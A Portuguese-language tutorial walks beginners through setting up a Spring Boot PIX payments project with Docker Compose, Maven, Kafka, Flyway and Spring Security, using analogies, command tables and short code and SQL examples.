O que e um Container?

Imagine que voce quer rodar um banco de dados PostgreSQL no seu computador. Sem Docker, voce precisaria baixar o instalador, instalar no Windows, configurar porta, usuario e senha. Se algo der errado, desinstalar e uma dor de cabeca. Se um colega quer rodar o mesmo projeto, precisa repetir tudo.

Analogia

Container e como uma "caixinha isolada" que ja vem com tudo configurado dentro. E como um mini-computador rodando dentro do seu computador, mas muito mais leve que uma maquina virtual.

Com Docker, ao inves de instalar PostgreSQL na maquina, voce roda:

docker compose up

E ele cria uma caixinha com PostgreSQL ja configurado, rodando, pronto pra usar. Quer parar? docker compose down. Quer recomecar do zero? Apaga o container e cria outro. Limpo, sem sujeira na sua maquina.

O que usamos com Docker neste projeto?

Container O que faz
PostgreSQL Banco de dados — armazena contas, transacoes, chaves PIX
Apache Kafka Sistema de mensageria — processa transacoes de forma assincrona
Kafka UI Interface visual para ver mensagens e topicos do Kafka no navegador
Por que isso importa no mercado

Toda empresa seria usa containers. Quando voce vai numa entrevista e diz "meu projeto roda com docker compose up", o entrevistador sabe que voce entende infraestrutura moderna.

O que e um Gerenciador de Dependencias?

Quando voce programa, voce nao escreve tudo do zero. Voce usa bibliotecas (tambem chamadas de "dependencias") que outras pessoas ja criaram. Exemplo: quer criar uma API REST? Usa o Spring Boot. Quer conectar num banco? Usa o driver PostgreSQL.

Maven e quem baixa, organiza e atualiza essas bibliotecas pra voce.

Analogia — O Restaurante

A linguagem (Java) = o cozinheiro (quem cozinha de verdade).
O gerenciador (Maven) = o gerente do restaurante (compra os ingredientes, organiza a cozinha, define a ordem de preparo dos pratos).

O gerente nao cozinha. O cozinheiro nao compra ingredientes. Sao independentes, mas trabalham juntos.

Maven NAO e um plugin

Plugin e algo que se instala dentro de outra ferramenta. Maven e uma ferramenta independente — voce instala separadamente no computador. O termo correto e gerenciador de pacotes/build.

Comparacao com Node.js

Node.js (que voce conhece) Java (que vamos usar) O que faz
npm Maven Gerenciador
package.json pom.xml Arquivo de configuracao
node_modules/ ~/.m2/repository/ Pasta de dependencias
npm install mvn install Instalar dependencias
npm start mvn spring-boot:run Rodar o projeto
npm test mvn test Rodar testes
npm run build mvn package Build para producao

O ciclo de vida do Maven

Quando voce roda mvn package, o Maven executa tudo em ordem:

1. validate   → "O projeto esta configurado certo?"
2. compile    → "Java, compile o codigo!"
3. test       → "Java, rode os testes!"
4. package    → "Empacote tudo num .jar!"
5. verify     → "JaCoCo, a cobertura passou de 80%?"
6. install    → "Salve o .jar no repositorio local"
7. deploy     → "Envie para o servidor remoto"

Cada linguagem tem o seu

Linguagem Gerenciador Arquivo de config
JavaMaven (ou Gradle)pom.xml
JavaScriptnpm (ou yarn)package.json
Pythonpip (ou poetry)requirements.txt
RustCargoCargo.toml
GoGo Modulesgo.mod
PHPComposercomposer.json

POM = Project Object Model

O pom.xml e o "RG" do projeto Java. E um arquivo XML que descreve tudo sobre o projeto para o Maven: quem e, qual Java usa, do que precisa, como e construido.

Se no Node.js o package.json diz "quem sou eu e do que preciso", o pom.xml faz exatamente a mesma coisa pro Java.

Estrutura basica

<!-- 1. QUEM SOU EU? (identidade do projeto) -->
<groupId>com.riel</groupId>          <!-- "dono" do projeto -->
<artifactId>pixhub</artifactId>      <!-- nome do projeto -->
<version>1.0.0</version>             <!-- versao atual -->

<!-- 2. QUAL JAVA EU USO? -->
<java.version>17</java.version>

<!-- 3. DO QUE EU PRECISO? (dependencias) -->
<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
</dependencies>

<!-- 4. COMO EU SOU CONSTRUIDO? (plugins) -->
<plugins>
    <plugin>jacoco-maven-plugin</plugin>
</plugins>

Comparacao direta

package.json pom.xml O que faz
"name": "pixhub" <artifactId>pixhub</artifactId> Nome do projeto
"version": "1.0.0" <version>1.0.0</version> Versao
"dependencies": {...} <dependencies>...</dependencies> Bibliotecas do projeto
"devDependencies": {...} <scope>test</scope> Bibliotecas so para testes
"scripts": {...} <plugins>...</plugins> Comandos de build/test
Importante

O pom.xml e o primeiro arquivo que vamos criar no projeto. Sem ele, o Maven nao sabe o que fazer — e como rodar npm install sem ter um package.json.

O que e Mensageria?

Imagine uma loja online. Quando o cliente clica "Pagar", o sistema precisa: validar o cartao, descontar do estoque, enviar email, gerar nota fiscal e notificar o entregador.

Sem mensageria (sincrono)

O cliente clica "Pagar" e fica esperando a tela carregar enquanto o sistema faz TUDO, um atras do outro. Se o email estiver lento, o cliente espera. Se a nota fiscal falhar, tudo falha.

Com mensageria (assincrono)

O cliente clica "Pagar", o sistema faz so o essencial (validar cartao + descontar estoque), responde "Pagamento recebido!" e coloca recados numa fila dizendo "mande o email", "gere a nota". Cada servico pega seu recado e processa no seu tempo.

Analogia — Sistema de Correios

Kafka = o carteiro
Mensageria = o sistema de correios
Kafka UI = o painel de rastreamento onde voce acompanha todas as entregas

O produtor escreve uma mensagem e coloca na caixa de correio. O consumidor pega a mensagem quando estiver pronto e executa.

Como funciona no nosso projeto PIX

Usuario clica "Enviar PIX" | v API recebe e valida Cria transacao PENDENTE Coloca mensagem no Kafka | v Responde: "PIX recebido, processando..." (usuario nao fica esperando) --- Por tras dos panos (assincrono) --- Consumer pega mensagem do Kafka | v Valida saldo → Debita/Credita | v PENDENTE → CONCLUIDO | v Outra mensagem: "avise o recebedor" | v Webhook/notificacao disparado
Por que o PIX real funciona assim

O BACEN processa milhoes de transacoes por dia. Se cada uma tivesse que esperar todas as etapas antes de responder, o sistema travaria. Com mensageria, ele recebe, coloca na fila, e responde em menos de 2 segundos.

O que e o Kafka UI?

Kafka por si so roda no terminal, sem interface visual. O Kafka UI e uma pagina web (painel administrativo) onde voce ve tudo que acontece dentro do Kafka:

  • Topicos — as "caixas de correio" que existem
  • Mensagens — o conteudo enviado (ex: "transacao X criada")
  • Consumer groups — quem esta consumindo as mensagens
  • Lag — se tem mensagens acumulando sem processar

Voce acessa em localhost:8090 no navegador. E puramente para desenvolvimento e monitoramento.

Por que Kafka e nao RabbitMQ

Kafka e o padrao de mercado em fintechs e bancos digitais. Itau, Nubank, PicPay e Inter todos usam Kafka. E o que as vagas em Squad Banking pedem.

Voce NAO descobre tudo de uma vez

Ninguem olha para um projeto e sabe instantaneamente que precisa de 16 dependencias. Voce descobre conforme a necessidade aparece:

Exemplo de como seria na pratica

Dia Problema Pesquisa Dependencia descoberta
1 "Quero criar uma API REST" "how to create REST API Java" spring-boot-starter-web
2 "Preciso salvar dados num banco" "Spring Boot connect database" data-jpa + postgresql
3 "O banco mudou e perdi dados" "database migration Spring Boot" flyway-core
4 "Preciso proteger com login" "Spring Boot authentication" security + jjwt
5 "Muito getter/setter repetitivo" "reduce boilerplate Java" lombok

As 3 formas de descobrir

  1. A documentacao oficial te diz — A doc do Spring Boot diz: "Para usar JPA, adicione spring-boot-starter-data-jpa". Nao e adivinhacao.
  2. A experiencia acumula — Depois de 2-3 projetos, voce ja sabe de cabeca quais dependencias cada problema exige.
  3. O Spring Initializr facilita — O site start.spring.io tem checkboxes — voce marca o que quer e ele gera o pom.xml pronto.

Mapa completo do nosso projeto

Requisito Dependencia
API RESTspring-boot-starter-web
Banco de dadosdata-jpa + postgresql
Migrationsflyway-core
Autenticacaosecurity + jjwt
Validacao de dadosvalidation
Monitoramentoactuator
Mensageriaspring-kafka
Documentacaospringdoc-openapi
Menos codigo repetitivolombok
Conversao DTO/Entitymapstruct
Testesstarter-test + testcontainers
Cobertura de testesjacoco
Analogia

E como um cozinheiro experiente que ja sabe os ingredientes antes de abrir a receita. Ele olha o prato ("API PIX com autenticacao, banco e mensageria") e ja sabe: "vou precisar de Spring Boot, PostgreSQL, Kafka, JWT..."

O que e o Spring Boot?

Spring Boot e um framework que facilita a criacao de aplicacoes Java. Sem ele, voce teria que configurar manualmente: servidor web, conexao com banco, serialização JSON, injecao de dependencias... Com Spring Boot, tudo vem pre-configurado e pronto para usar.

Analogia — Carro Automatico vs Manual

Java puro = carro manual. Voce controla tudo: embreagem, marcha, acelerador.
Spring Boot = carro automatico. Ele faz as trocas de marcha sozinho. Voce so precisa dizer "quero ir pra frente" e ele resolve o resto.

A auto-configuracao do Spring Boot detecta o que esta no classpath (ex: viu o driver PostgreSQL? configura a conexao automaticamente).

O que sao Annotations?

Annotations sao "etiquetas" que voce cola nas classes e metodos para dizer ao Spring o que eles fazem. Comecam com @.

Annotation O que faz Onde usar
@SpringBootApplication Classe principal — combina 3 annotations (Config + AutoConfig + ComponentScan) PixHubApplication.java
@RestController Marca uma classe como endpoint REST (recebe e responde HTTP) Classes em controller/
@Service Marca uma classe como logica de negocio Classes em service/
@Repository Marca uma classe como acesso ao banco Interfaces em repository/
@Configuration Marca uma classe como fonte de configuracoes (beans) Classes em config/
@Bean Registra o objeto retornado no container do Spring Metodos dentro de @Configuration
@Entity Mapeia uma classe Java para uma tabela no banco Classes em entity/

Injecao de Dependencia (DI)

E o padrao mais importante do Spring. Em vez de voce criar objetos manualmente (new PixService()), o Spring cria e entrega automaticamente.

// SEM injecao de dependencia (manual, ruim):
PixService service = new PixService(new PixRepository(...));

// COM injecao de dependencia (Spring faz tudo):
@Service
public class PixService {
    private final PixRepository repository;

    // Spring detecta que PixRepository é necessario
    // e injeta automaticamente pelo construtor
    public PixService(PixRepository repository) {
        this.repository = repository;
    }
}
Por que isso importa

Injecao de dependencia facilita testes (troca a dependencia real por um mock), desacopla as camadas e e o padrao #1 perguntado em entrevistas Java.

O problema

Em desenvolvimento, o banco roda em localhost:5432 com senha pixhub_dev. Em producao, roda em outro servidor com outra senha. Como a MESMA aplicacao sabe qual configuracao usar?

A solucao: Profiles

Spring Boot carrega arquivos de configuracao diferentes dependendo do profile ativo:

Profile Arquivo Quando usar
dev application-dev.yml Desenvolvimento local (Docker Compose)
test application-test.yml Testes automatizados (Testcontainers)
prod application-prod.yml Producao (variaveis de ambiente)
# Ativar profile via terminal:
SPRING_PROFILES_ACTIVE=prod mvn spring-boot:run

# Ou via application.yml (padrao):
spring:
  profiles:
    active: dev
Analogia — Modo do Carro

Profile dev = modo "cidade" (conforto, mais logs, banco local).
Profile prod = modo "estrada" (performance, menos logs, banco remoto).
O carro e o mesmo, so muda o comportamento.

Regra de ouro

NUNCA coloque senhas reais no codigo. O profile prod usa ${DATABASE_PASSWORD} — o valor vem de variavel de ambiente, injetada pelo Docker ou servidor no momento do deploy.

O problema

Voce cria uma tabela no banco. Semana seguinte, precisa adicionar uma coluna. Mes seguinte, precisa renomear outra. Como garantir que o banco do seu colega, do servidor de teste e da producao estao todos na mesma versao?

A solucao: Migrations versionadas

Flyway e um "git para o banco de dados". Voce cria arquivos SQL com numeracao sequencial, e ele aplica na ordem certa.

db/migration/
├── V1__create_schema.sql        ← Cria tabelas iniciais
├── V2__add_users_table.sql      ← Adiciona tabela de usuarios
├── V3__add_email_to_users.sql   ← Adiciona coluna email
└── V4__create_pix_keys.sql      ← Cria tabela de chaves PIX
Analogia — Commits do Git

Assim como voce nunca edita um commit antigo no git (faz um novo commit), voce nunca altera uma migration ja executada. Precisa mudar algo? Cria uma nova migration (V5, V6...). O Flyway rastreia quais migrations ja rodaram na tabela flyway_schema_history.

Convencao de nomes

V1__create_schema.sql
│ │              │
│ │              └── Descricao (separada por underscores)
│ └──────────────── DOIS underscores (obrigatorio!)
└────────────────── V + numero da versao
Flyway vs ddl-auto

O Hibernate tem ddl-auto=update que altera o banco automaticamente. NUNCA use em producao — ele pode deletar colunas ou perder dados. Flyway e o jeito seguro e profissional. Por isso usamos ddl-auto=validate (so confere, nao mexe).

O que e Spring Security?

E o framework que controla quem pode acessar o que na sua API. Dois conceitos principais:

  • Autenticacao — "Quem e voce?" (login, token JWT)
  • Autorizacao — "O que voce pode fazer?" (roles, permissoes)

Como funciona: Filter Chain

Toda requisicao HTTP passa por uma cadeia de filtros antes de chegar no controller. Cada filtro decide: "deixo passar ou bloqueio?"

Request HTTP | v [CSRF Filter] → desabilitado (API REST stateless) | v [Auth Filter] → valida JWT token (sera implementado na Fase Auth) | v [Authorization] → verifica se o endpoint é publico ou protegido | v Controller (se passou em todos os filtros)

Configuracao STATELESS

Em APIs REST, o servidor nao guarda sessao. Cada request precisa trazer sua propria autenticacao (token JWT no header). Isso permite escalar horizontalmente — qualquer servidor pode atender qualquer request, sem precisar compartilhar sessao.

// Desabilita sessao — cada request e independente
.sessionManagement(session ->
    session.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)

// Endpoints publicos (sem autenticacao):
.requestMatchers("/actuator/**", "/swagger-ui/**").permitAll()

// Tudo mais requer autenticacao:
.anyRequest().authenticated()
CSRF desabilitado — quando e seguro?

CSRF protege contra ataques em apps com cookies/sessao. APIs REST stateless usam JWT no header Authorization, nao cookies. Sem cookie = sem CSRF. Por isso desabilitamos. Em aplicacoes com formularios HTML e sessao, NUNCA desabilite.

O problema

Para compilar Java, precisamos do JDK (800MB+) e do Maven. Mas para RODAR, so precisamos do JRE (200MB). Se colocarmos tudo numa imagem so, ela fica enorme e cheia de ferramentas desnecessarias (risco de seguranca).

A solucao: Multi-stage build

O Dockerfile tem duas etapas. A primeira compila, a segunda so roda. A imagem final nao tem Maven, nem codigo-fonte, nem dependencias de compilacao.

ETAPA 1 — BUILD (Maven + JDK) Copia pom.xml → Baixa dependencias Copia src/ → Compila → Gera .jar | v (COPY --from=build) ETAPA 2 — RUNTIME (apenas JRE) Copia APENAS o .jar Imagem final: ~300MB (vs ~800MB)

Truque do cache de dependencias

# 1. Copia APENAS o pom.xml primeiro
COPY pom.xml .
RUN mvn dependency:go-offline -B

# 2. SO DEPOIS copia o codigo-fonte
COPY src ./src
RUN mvn package -DskipTests -B

Docker cacheia cada camada (instrucao). Se o pom.xml nao mudou, as dependencias ja estao no cache. Quando voce muda so o codigo Java, o Docker pula o download e vai direto para a compilacao. Resultado: rebuild em segundos em vez de minutos.

Na pratica

Empresas medem o tempo de build do CI/CD. Um Dockerfile otimizado com cache de dependencias reduz deploys de 10 minutos para 2. Esse tipo de otimizacao mostra maturidade tecnica em entrevistas.

O que aconteceu

Ao rodar mvn clean compile pela primeira vez, o Maven retornou erro:

[ERROR] 'dependencies.dependency.version' for
  org.flywaydb:flyway-database-postgresql:jar is missing.
  @ line 160, column 21

Tinhamos adicionado a dependencia flyway-database-postgresql no pom.xml sem especificar a versao, esperando que o Spring Boot resolvesse automaticamente. Mas o Maven nao sabia qual versao usar e quebrou.

Por que aconteceu

O spring-boot-starter-parent que declaramos no topo do pom.xml funciona como um "catalogo de versoes". Ele diz: "Se voce usar Spring Security, use a versao 6.2.4. Se usar Flyway, use a 9.22.3."

O problema: nosso projeto usa Spring Boot 3.2.5, que gerencia Flyway 9.x. Na versao 9 do Flyway, o suporte a PostgreSQL ja vem dentro do flyway-core. O modulo separado flyway-database-postgresql so foi criado no Flyway 10+ (que vem com Spring Boot 3.3+).

Ou seja: tentamos usar uma dependencia que nao existia na versao que o Spring Boot conhecia.

Analogia — Cardapio do Restaurante

O Parent POM e o cardapio do restaurante. Ele lista todos os pratos (dependencias) disponiveis e seus precos (versoes).

Quando voce pede "flyway-core", o garcom (Maven) olha no cardapio, acha o prato e sabe exatamente qual versao servir.

Quando voce pede "flyway-database-postgresql", o garcom olha no cardapio e... nao encontra. Esse prato nao existe neste cardapio. Ele para e pergunta: "Qual versao voce quer?" — e como voce nao especificou, ele nao consegue servir. Erro.

Como resolver

Existiam duas opcoes:

Opcao Quando usar
Remover a dependencia (o que fizemos) Quando ela nao existe na versao do ecossistema que voce usa
Adicionar <version> manualmente Quando voce precisa de uma dependencia que o parent nao gerencia

Como investigar: o BOM

BOM = Bill of Materials (lista de materiais). E o arquivo que lista TODAS as versoes que o Spring Boot gerencia. Para ver quais dependencias o Spring Boot 3.2.5 gerencia:

  1. Acesse a documentacao do Spring Boot na versao que voce usa
  2. Procure "Dependency Versions" — la esta a lista completa
  3. Se a dependencia esta na lista, nao precisa colocar versao
  4. Se nao esta, voce precisa declarar a versao no pom.xml
<!-- Dependencia gerenciada pelo parent (NAO precisa de versao): -->
<dependency>
    <groupId>org.flywaydb</groupId>
    <artifactId>flyway-core</artifactId>
    <!-- versao vem do parent automaticamente -->
</dependency>

<!-- Dependencia NAO gerenciada (PRECISA de versao): -->
<dependency>
    <groupId>org.mapstruct</groupId>
    <artifactId>mapstruct</artifactId>
    <version>1.5.5.Final</version>
</dependency>
Regra pratica

Antes de adicionar uma dependencia sem <version>, pergunte: "O Spring Boot parent gerencia essa dependencia?"
Se sim → nao precisa de versao.
Se nao → obrigatorio declarar a versao.
Se nao tem certeza → coloque a versao. Nunca da erro por ter versao sobrando.

Por que isso importa no trabalho real

Conflitos de versao sao o bug #1 em projetos Java corporativos. Quando voce atualiza o Spring Boot de 3.2 para 3.3, dezenas de versoes mudam automaticamente. Entender o BOM e o parent POM te permite debugar esses problemas em vez de ficar perdido olhando stack traces.

O que o Docker Compose faz

O arquivo docker-compose.yml e uma receita que diz ao Docker: "crie esses 3 servicos pra mim". Quando voce roda docker compose up -d, o Docker le essa receita e cria 3 containers (programas isolados rodando na sua maquina):

Container O que e Pra que serve no nosso projeto Porta
pixhub-postgres Banco de dados PostgreSQL Guarda contas, chaves PIX, transacoes 5432
pixhub-kafka Message broker (correio de mensagens) Processa transferencias PIX de forma assincrona 9092
pixhub-kafka-ui Interface visual pro Kafka Permite ver topicos e mensagens no navegador 8090
Analogia — Cozinha de Restaurante

Imagine que voce esta montando uma cozinha de restaurante:

PostgreSQL = a geladeira. Guarda todos os ingredientes (dados). Sem ela, voce nao tem o que cozinhar.

Kafka = o balcao de pedidos. Quando chega um pedido (transferencia PIX), ele fica no balcao esperando ser preparado. O cozinheiro nao precisa parar tudo pra anotar — o balcao organiza a fila.

Kafka UI = a camera da cozinha. Voce nao precisa dela pra cozinhar, mas ela te deixa VER o que esta acontecendo no balcao de pedidos.

Spring Boot (sua API) = o cozinheiro. Ele usa a geladeira (Postgres) pra buscar dados e coloca/retira pedidos do balcao (Kafka). O cozinheiro NAO esta dentro da cozinha do Docker — ele roda na sua maquina diretamente com mvn spring-boot:run.

O que voce VE no Docker Desktop

Quando voce abre o Docker Desktop e vai em Containers, voce ve algo assim:

sistemadepix          RUNNING
  ├── pixhub-postgres    Running    5432:5432
  ├── pixhub-kafka       Running    9092:9092
  └── pixhub-kafka-ui    Running    8090:8080

O grupo "sistemadepix" e o nome do seu projeto (Docker usa o nome da pasta). Os 3 containers dentro dele sao os servicos definidos no docker-compose.yml.

O status "Running" significa que o container esta ligado. Se algum mostrasse "Exited" ou "Restarting", algo deu errado.

As portas (ex: 5432:5432) significam: "a porta 5432 da sua maquina esta conectada a porta 5432 dentro do container". Isso permite que o Spring Boot (que roda fora do Docker) se conecte ao banco.

Os URLs que voce pode abrir no navegador

URL O que voce ve Quando usar
localhost:8080/actuator/health {"status":"UP"} Verificar se o Spring Boot esta vivo e conectado
localhost:8080/swagger-ui.html Documentacao interativa da API Testar endpoints (quando criarmos)
localhost:8090 Kafka UI — interface visual Ver topicos, mensagens, consumers do Kafka
Importante: o Spring Boot NAO esta no Docker

O docker compose up -d so sobe Postgres, Kafka e Kafka UI. A sua aplicacao Java (Spring Boot) roda separada, na sua maquina, com mvn spring-boot:run.

Por que? Em desenvolvimento, e mais facil reiniciar e debugar a aplicacao quando ela roda direto na maquina. O Dockerfile que criamos e para producao (quando for fazer deploy).

Como verificar que tudo esta funcionando

Checklist pratico que voce pode seguir toda vez que iniciar o projeto:

  1. Abrir Docker Desktop — verificar que os 3 containers estao "Running" (verdes)
  2. Abrir localhost:8090 no navegador — se a Kafka UI carregou, significa que o Kafka esta funcionando (ela depende dele)
  3. Rodar mvn spring-boot:run no terminal — se o Spring Boot subir sem erros, significa que ele conseguiu conectar no Postgres e no Kafka
  4. Abrir localhost:8080/actuator/health — se retornar {"status":"UP"}, tudo esta funcionando

Comandos uteis do Docker

# Ver containers rodando
docker ps

# Subir tudo (em background, -d = detached)
docker compose up -d

# Parar tudo (containers param, dados ficam)
docker compose down

# Parar tudo E apagar dados (banco zerado)
docker compose down -v

# Ver logs de um container especifico
docker logs pixhub-postgres
docker logs pixhub-kafka

# Reiniciar um container
docker compose restart postgres

Fluxo visual do projeto


   Voce (navegador/Postman)
         |
         | HTTP request (ex: POST /api/v1/pix/transfer)
         v
  +-----------------+
  |  Spring Boot    |  ← roda na sua maquina (mvn spring-boot:run)
  |  (porta 8080)   |
  +----+-------+----+
       |       |
       |       |  "salva dados"          "envia evento"
       v       v
  +--------+  +---------+
  |Postgres|  |  Kafka  |  ← rodam no Docker (docker compose up -d)
  | :5432  |  |  :9092  |
  +--------+  +---------+
                   |
                   v
              +-----------+
              | Kafka UI  |  ← tambem no Docker (so pra visualizar)
              |  :8090    |
              +-----------+
Dica pro dia a dia

Voce so precisa rodar docker compose up -d uma vez quando ligar o computador. Os containers ficam rodando em background. O Spring Boot voce reinicia toda vez que mudar o codigo (ou use o DevTools que recarrega automaticamente).

Se algo der errado, docker compose down -v apaga tudo e docker compose up -d recria do zero. E como formatar o computador — resolve 90% dos problemas.

Rotina diaria — o minimo pra trabalhar

Todo dia que voce for codar no projeto, sao apenas 4 passos:

1. Abrir Docker Desktop              (esperar ficar verde)
2. docker compose up -d               (sobe Postgres, Kafka, Kafka UI)
3. mvn spring-boot:run                (sobe sua API Java)
4. Codar normalmente
5. Ctrl+C no terminal quando terminar (para a API)
Voce NAO precisa derrubar o Docker todo dia

docker compose down so e necessario se algo der errado. No dia a dia, basta fechar o Docker Desktop — os containers pausam. No dia seguinte, abra o Docker Desktop e rode docker compose up -d de novo. Se ja estiverem rodando, o comando nao faz nada (e seguro repetir).

Pontos de atencao — sinais de problema

Se algo parar de funcionar, olhe esses sinais:

Sinal O que significa Como resolver
Container vermelho/amarelo no Docker Desktop Um servico caiu ou esta reiniciando docker compose down -v e docker compose up -d
mvn spring-boot:run da erro de conexao Postgres ou Kafka nao estao rodando Verificar Docker Desktop. Ver logs: docker logs pixhub-postgres
localhost:8080/actuator/health nao responde Spring Boot nao esta rodando Rodar mvn spring-boot:run
"Port already in use" (porta ja em uso) Outro programa esta usando a mesma porta Fechar o outro programa, ou mudar a porta no docker-compose.yml
Docker Desktop lento ou disco cheio Imagens e volumes antigos acumulados docker system prune — limpa o que nao esta em uso
Flyway da erro na inicializacao Uma migration SQL tem erro de sintaxe Corrigir o SQL. Se necessario: docker compose down -v pra zerar o banco
Comando de emergencia — "formata e reinstala"

Se nada funcionar e voce nao entender o erro:

docker compose down -v (apaga tudo, inclusive dados do banco)
docker compose up -d (recria tudo do zero)
mvn spring-boot:run (Flyway recria as tabelas automaticamente)

Isso resolve 90% dos problemas. O -v apaga os volumes (dados), entao o banco volta vazio e o Flyway roda todas as migrations de novo.

Como evoluir o sistema — o ciclo de desenvolvimento

Toda funcionalidade nova no projeto segue o mesmo ciclo de 7 passos. Sempre nessa ordem, de baixo (banco) pra cima (API):

BANCO           1. Migration (V2__create_accounts.sql)
  |                 → SQL que cria/altera tabelas no banco
  v
ENTIDADE        2. Entity (Account.java)
  |                 → Classe Java que mapeia a tabela
  v
REPOSITORIO     3. Repository (AccountRepository.java)
  |                 → Interface que faz queries no banco
  v
LOGICA          4. Service (AccountService.java)
  |                 → Regras de negocio (validacoes, calculos)
  v
CONTRATO        5. DTOs (CreateAccountRequest.java, AccountResponse.java)
  |                 → O que a API recebe e devolve (nunca expor a Entity)
  v
ENDPOINT        6. Controller (AccountController.java)
  |                 → A URL que o mundo externo chama
  v
QUALIDADE       7. Testes (AccountServiceTest.java)
                    → Garante que tudo funciona
Analogia — Construindo um Predio

Migration = fundacao (estrutura do terreno)
Entity = planta baixa (desenho tecnico do que existe)
Repository = porteiro (controla quem entra e sai do predio)
Service = sindico (conhece as regras e toma decisoes)
DTO = interfone (o que o visitante fala e o que ele ouve de volta)
Controller = portaria (ponto de entrada — recebe visitantes)
Testes = vistoria (inspecao pra garantir que nada esta quebrado)

Voce sempre constroi de baixo pra cima: primeiro a fundacao, depois as paredes, depois a portaria. Nunca ao contrario.

Exemplo pratico: adicionar "Contas Bancarias"

Na Fase 02, vamos criar o CRUD de contas. O processo seria:

  1. Migration: criar V2__create_accounts.sql com CREATE TABLE accounts (...)
  2. Entity: criar Account.java com @Entity, mapeando cada coluna da tabela
  3. Repository: criar AccountRepository.java extends JpaRepository<Account, UUID>
  4. Service: criar AccountService.java com regras como "CPF nao pode ser duplicado", "saldo inicial e zero"
  5. DTOs: criar CreateAccountRequest (o que o usuario envia) e AccountResponse (o que a API devolve)
  6. Controller: criar AccountController.java com POST /api/v1/accounts, GET /api/v1/accounts/{id}, etc.
  7. Testes: testar cada regra do Service e cada endpoint do Controller

Fluxo de trabalho com Git

Alem do ciclo de codigo, voce deve salvar seu progresso com Git:

# Antes de comecar algo novo
git status                              (ver o que mudou)

# Depois de terminar uma funcionalidade
git add src/                            (adiciona os arquivos alterados)
git commit -m "feat: criar CRUD de contas bancarias"

# Tipos de commit comuns:
# feat:     nova funcionalidade
# fix:      correcao de bug
# refactor: melhorar codigo sem mudar comportamento
# test:     adicionar ou corrigir testes
# docs:     documentacao
Resumo do dia a dia

Inicio do dia: Docker Desktop → docker compose up -dmvn spring-boot:run

Durante o dia: codar seguindo o ciclo (Migration → Entity → ... → Controller → Testes)

Final do dia: git add + git commit pra salvar o progresso. Ctrl+C pra parar o Spring Boot.

Se algo quebrar: docker compose down -v + docker compose up -d = reset total.

O que e um "comando de terminal"

Quando voce abre um terminal (aquele tela preta) e digita algo como docker compose up -d, voce esta dando uma instrucao pro computador. E como falar diretamente com ele em vez de clicar em botoes.

Cada comando tem 3 partes:

docker   compose   up -d
  |         |       |  |
programa  subcomando | flag
                  acao

Traduzindo: "Docker, no modo compose, suba os servicos, em background"

Comandos Docker

Comando O que faz Quando usar
docker compose up -d Le o docker-compose.yml e liga todos os servicos. O -d (detached) faz rodar em background. Todo dia ao comecar a trabalhar
docker compose down Desliga todos os servicos. Os dados do banco ficam salvos. Quando quiser desligar a infraestrutura
docker compose down -v Desliga tudo E apaga os volumes (dados). O banco fica vazio. Quando algo da muito errado e voce quer recomecar do zero
docker ps Mostra os containers que estao rodando agora Pra checar se esta tudo no ar
docker logs pixhub-postgres Mostra o que o Postgres esta "falando" (mensagens de log) Quando o Postgres da erro e voce quer entender por que
docker system prune Apaga imagens e containers antigos que nao estao em uso Quando o Docker esta ocupando muito espaco em disco

Comandos Maven (mvn)

Maven e o gerenciador do seu projeto Java. Ele compila o codigo, baixa dependencias e roda a aplicacao. O comando mvn e como voce fala com ele.

Comando O que faz Quando usar
mvn spring-boot:run Compila seu codigo Java e roda a aplicacao na porta 8080 Todo dia, depois do docker compose up -d
mvn clean compile Apaga arquivos antigos e compila de novo (sem rodar) Pra verificar se o codigo compila sem erros
mvn test Roda todos os testes automatizados Depois de terminar uma funcionalidade

Ctrl+C — o que para e o que continua

Ctrl+C para so o que esta rodando naquele terminal. Se voce rodou mvn spring-boot:run, o Ctrl+C para so o Spring Boot.

O que roda DENTRO do terminal (voce controla com Ctrl+C):
  → Spring Boot (mvn spring-boot:run)

O que roda em BACKGROUND (independente do terminal):
  → Docker Desktop (icone na barra de tarefas)
  → PostgreSQL (container)
  → Kafka (container)
  → Kafka UI (container)
Analogia — TV e Geladeira

Spring Boot = a TV. Voce liga e desliga com o controle (Ctrl+C). Quando desliga, ela para.

Docker (Postgres, Kafka) = a geladeira. Ela fica ligada o tempo todo, em background. Voce nao "desliga" a geladeira toda vez que sai de casa. Ela so para se voce tirar da tomada (docker compose down) ou se faltar energia (desligar o computador).

Uma aplicacao Spring Boot e organizada em camadas. Cada camada tem uma responsabilidade especifica. Vamos usar o exemplo de uma transferencia PIX pra explicar cada uma:

1. Migration — a estrutura do banco de dados

O que e: um arquivo SQL que cria ou altera tabelas no banco de dados.
Onde fica: src/main/resources/db/migration/
Exemplo:

-- V1__create_schema.sql
CREATE TABLE accounts (
    id          UUID PRIMARY KEY,
    holder_name VARCHAR(100) NOT NULL,
    cpf         VARCHAR(11) UNIQUE NOT NULL,
    balance     DECIMAL(15,2) DEFAULT 0
);

O Flyway roda essas migrations automaticamente quando o Spring Boot inicia. Ele olha quais ja foram executadas e roda so as novas. Por isso as migrations sao numeradas (V1, V2, V3...) — a ordem importa.

Analogia

Migration = planta da obra. Define a estrutura do predio (tabelas) antes de colocar qualquer movel (dados) dentro.

2. Entity — o mapa do banco em Java

O que e: uma classe Java que representa uma tabela do banco. Cada atributo da classe = uma coluna da tabela.
Onde fica: src/main/java/.../entity/
Exemplo:

@Entity                          // "essa classe representa uma tabela"
@Table(name = "accounts")       // "a tabela se chama accounts"
public class Account {

    @Id                          // "esse campo e a chave primaria"
    private UUID id;

    @Column(name = "holder_name") // "essa coluna se chama holder_name"
    private String holderName;

    private String cpf;
    private BigDecimal balance;
}

O Spring (via JPA/Hibernate) usa essa classe pra traduzir entre Java e SQL automaticamente. Voce trabalha com objetos Java, e ele converte pra queries SQL.

Analogia

Entity = ficha cadastral. A tabela do banco e o arquivo fisico, a Entity e a ficha que voce preenche pra acessar os dados.

3. Repository — quem conversa com o banco

O que e: uma interface que faz operacoes no banco (buscar, salvar, deletar). Voce so declara o que quer — o Spring gera a implementacao automaticamente.
Onde fica: src/main/java/.../repository/
Exemplo:

public interface AccountRepository extends JpaRepository<Account, UUID> {

    // O Spring cria o SQL automaticamente baseado no nome do metodo!
    // Isso vira: SELECT * FROM accounts WHERE cpf = ?
    Optional<Account> findByCpf(String cpf);

    // Isso vira: SELECT CASE WHEN COUNT(*) > 0 THEN true END FROM accounts WHERE cpf = ?
    boolean existsByCpf(String cpf);
}

